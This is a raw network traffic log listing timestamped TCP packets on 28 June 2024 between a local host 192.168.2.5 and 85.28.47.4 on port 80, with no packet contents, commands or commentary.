Jun 28, 2024 13:36:07.063488007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063497066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063513994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063519001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063538074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063548088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063549042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063584089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063596964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063602924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063625097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063643932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063688993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063689947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063700914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063714027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063734055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063743114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.063750982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.063791037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.148864031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.148878098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.148890018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.148916960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.148926973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.148936987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.148947001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.148997068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149065018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149075031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149085045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149095058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149106026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149116993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149120092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149127960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149138927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149163961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149328947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149338961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149348974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149359941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149369955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149379969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149380922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149390936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149403095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149413109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149421930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149422884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149446964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149462938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149635077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149646044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149656057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149666071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149676085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149687052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149697065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149698019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149708033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149732113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149755001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149763107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149774075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149784088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149795055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149806023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149813890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149816036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149827003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149833918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149837971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149848938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.149873972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.149908066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150027037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150037050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150046110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150055885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150064945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150075912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150087118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150093079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150093079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150103092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150114059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150120020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150125027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150135040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150161982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150331020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150341988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150351048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150362968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150372982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150381088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150382996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150402069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150405884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150415897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150424004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150427103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150437117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150446892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150448084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150456905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150468111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150473118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150482893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150490999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150492907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150505066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150513887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150528908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150531054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150540113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150551081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150561094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150568008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150568008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150605917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150747061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150794029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150923967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150940895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150950909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150962114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150971889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150973082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150981903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.150990009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.150991917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151002884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151014090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151025057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151034117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151035070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151046038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151052952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151057005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151079893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151097059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151274920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151285887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151297092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151305914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151316881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151323080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151326895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151340961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151350975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151354074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151360989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151371956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151381969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151384115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151391983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151402950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151406050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151413918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.151433945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.151456118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.153796911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.153872013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.153943062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.153987885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154031992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154074907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154078007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154084921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154095888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154113054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154139996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154162884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154174089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154184103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154194117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154203892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154208899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154238939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154264927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154289961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154299974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154310942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154325008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.154335022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.154357910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239341974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239372969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239383936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239393950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239404917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239414930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239425898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239440918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239440918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239464045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239475965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239485979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239495993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239506006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239516020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239516020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239541054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239569902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239638090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239648104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239658117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239667892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239677906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239687920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239691019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239697933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239707947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239727020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239757061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239769936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239780903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239816904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239844084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239886999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239897966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239907026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239917994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239927053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239938021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239942074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.239948988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239959002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239974976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.239979982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240011930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240011930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240164995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240175962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240184069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240194082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240202904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240211964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240219116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240221977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240231991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240236998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240241051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240252018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240261078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240288973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240462065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240473032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240487099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240497112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240506887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240516901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240526915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240529060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240529060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240536928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240547895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240576982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240601063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240609884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240612030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240619898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240628958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240638971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240647078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240648031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240658045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240668058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240677118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240686893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240688086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240691900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240701914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240710974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240710974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240720987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240731001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.240735054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240757942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240781069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.240993977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241003990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241014004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241024971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241034985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241044998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241060972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241086960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241137028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241144896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241153955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241164923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241178036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241188049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241215944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241244078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241271973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241282940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241292000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241301060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241311073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241321087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241322994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241331100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241342068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241341114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241352081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241362095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241369963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241379976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241384029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241401911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241406918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241421938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241431952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241432905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241441965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241451025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241451979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241462946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241472960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241482973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241488934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241492987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241503000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241513014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241523027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241532087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241533995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.241552114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.241569996 CEST	49705	80	192.168.2.5	85.28.47.4
